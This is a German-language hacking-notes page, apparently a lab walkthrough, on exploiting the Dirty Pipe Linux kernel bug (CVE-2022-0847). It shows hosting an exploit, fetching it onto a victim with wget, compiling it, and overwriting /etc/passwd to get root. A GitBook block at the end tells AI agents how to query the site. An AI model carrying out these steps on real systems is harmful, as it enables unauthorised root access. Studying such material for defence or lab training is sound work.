> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## Was es ist

Diese Seite dokumentiert eine Linux-Technik zur Rechteausweitung mit praktischen Validierungsschritten und Exploit-Beispielen. Diese spezielle Seite konzentriert sich auf **Dirty Pipe** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
id
uname -a
```

## Beispiele

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) ist ein Linux-Kernel-Fehler, der es einem lokalen Benutzer ohne erhöhte Rechte ermöglicht, Systemdateien zur Laufzeit zu ändern, einschließlich geschützter Dateien wie **/etc/passwd**. Diese Schwachstelle nutzt einen Fehler in der Pipe-Verarbeitung des Kernels aus und ermöglicht es einem Prozess, eine Datei zu verändern, während sie von einem anderen Prozess verwendet wird, einschließlich schreibgeschützter Dateien oder Dateien, die von privilegierten Benutzern geschrieben wurden.
{% endhint %}

## Ausnutzung von Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Prüfen Sie, ob die Maschine für Dirty Pipe verwundbar ist, einen Fehler, der Systemdateien zur Laufzeit verändern kann. Wir fanden **gcc**, einen C-Compiler, verfügbar unter `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Verwenden Sie **Python3** um den Exploit vom lokalen Rechner auf das Ziel zu übertragen. Starten Sie lokal einen HTTP-Server, um ihn bereitzustellen:

```bash
python3 -m http.server
```

Auf der Opfermaschine haben wir den Exploit heruntergeladen:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/0dd80f7527be9112a25665cb1d612b889f966ddb" alt=""><figcaption></figcaption></figure>

Nachdem der Exploit heruntergeladen worden war, kompilierten wir die C-Datei mit **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
Der Exploit verändert die `/etc/passwd` Datei, indem er einen Passwort-Hash einschleust, und fügt einen `aaron` Benutzer mit einem bestimmten Passwort hinzu, alles, um eine Rechteausweitung zu ermöglichen.
{% endhint %}

<figure><img src="/files/a5f6aadc684d27b1ff957dfab5bb19ba603e7d8f" alt=""><figcaption></figcaption></figure>

Führen Sie schließlich einfach das Skript aus:

```bash
./exploit
```

Dies verschafft **`root`** Zugriff auf die Maschine.

<figure><img src="/files/a1d25bb4d5a1e61262761b0ff21eef08824bc0c0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
